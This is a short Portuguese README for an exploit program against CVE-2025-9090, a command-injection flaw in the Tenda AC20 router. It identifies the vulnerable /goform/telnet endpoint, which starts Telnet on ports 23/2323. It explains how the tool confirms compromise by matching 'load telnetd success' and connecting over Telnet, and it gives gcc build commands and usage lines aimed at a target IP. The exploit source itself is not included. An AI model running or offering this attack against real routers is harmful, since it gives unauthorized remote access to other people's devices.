CVE-2025-9090

Autor: Byte Reaper

Descrição

Este exploit tem como alvo CVE-2025-9090, uma vulnerabilidade de injeção de comandos no roteador Tenda AC20 (v16.03.08.12).
A falha está no endpoint /goform/telnet, que pode ser acionado remotamente.
Quando acessado, ele inicia o serviço Telnet no dispositivo, abrindo as portas 23/2323 para interação remota.

O programa envia uma requisição ao endpoint vulnerável, procura pela string de resposta "load telnetd success" e, em seguida, tenta se conectar ao serviço Telnet para confirmar a exploração bem-sucedida.

Compilação

Compile usando gcc:

    gcc exploit.c argparse.c -o CVE-2025-9090 -lcurl

Uso :

    -h, --help            show this help message and exit
    -i, --ip              Enter Target IP
    -c, --cookies         Enter File cookies
    -v, --verbose         Verbose Mode
    -f, --loop=           Number request 

Execução :

    ./CVE-2025-9090 -i <IP> 
    - verbose mode :
    ./CVE-2025-9090 -i <IP> -v
    - number request : 
    ./CVE-2025-9090 -i <IP> -v -f 5 (5 POST endpoint)
    - cookies file :
    ./CVE-2025-9090 -i <IP> -v -f 5 -c [file name] 

LICENÇA:

MIT